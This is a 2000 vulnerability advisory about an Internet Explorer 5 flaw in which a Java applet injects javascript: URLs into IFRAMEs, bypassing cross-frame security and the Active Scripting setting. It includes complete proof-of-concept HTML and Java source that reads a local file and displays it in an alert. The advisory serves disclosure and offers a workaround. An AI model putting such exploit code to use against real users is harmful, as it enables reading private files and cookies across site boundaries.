IE 5 security vulnerablity - circumventing Cross-frame security policy using Java/JavaScript (and disabling Active Scripting is not that easy)
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this program.Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.
Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions
are also vulnerable) allows circumventing "Cross frame security policy"
by accessing the DOM of documents using Java/JavaScript.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.
Details:
Note: This is NOT a bug in the Java language, this is a bug in Microsoft's
implementation of Java in IE.
Usually, IE 5.x does not allow assigning "javascript:" urls to the
location object because this is dangerous.
But this may be circumvented with the help of the interaction between
Java and the DOM/JavaScript.
The Java JSObject allows setting DOM properties from Java and allows
setting a hostile javascript url to IFRAME's location. This leads to circumventing
cross-frame security policy.
Another issue is that choosing the option "Disable Active Scripting"
from the security menu does not always disable Active Scripting.
If you have Java enabled, Active
Scripting may be executed.
The problem seems to be the fact that IE always executes Active Scripting
in "My Computer" zone and with Java one may inject javascript:
URLs in IFRAMEs in "My Computer" zone.
So, to really disable Active Scripting disable Active Scripting and
disable Java.
The code is:
------jsinject.html--------------------------------
<IFRAME ID="I1" NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<applet MAYSCRIPT code="jsinject">
<param name="jscode" value="javascript:alert(document.body.innerText)">
</applet>
<A HREF="javascript:document.applets[0].doit()">Read the file</A>
---------------------------------------------------
------jsinject.java--------------------------------
import java.applet.Applet;
import netscape.javascript.*;
public class jsinject extends Applet {
public void doit()
{
try
{
JSObject win = (JSObject) JSObject.getWindow(this);
JSObject doc = (JSObject) win.getMember("document");
JSObject I1 = (JSObject) doc.getMember("I1");
JSObject loc = (JSObject) I1.getMember("location");
loc.setMember("href",getParameter("jscode"));
}
catch(Exception x){System.out.println(x.toString());}
}
}
---------------------------------------------------
Demonstration is available at: http://www.guninski.com/jsinject.html
Workaround: Disable Java
Copyright 2000 Georgi Guninski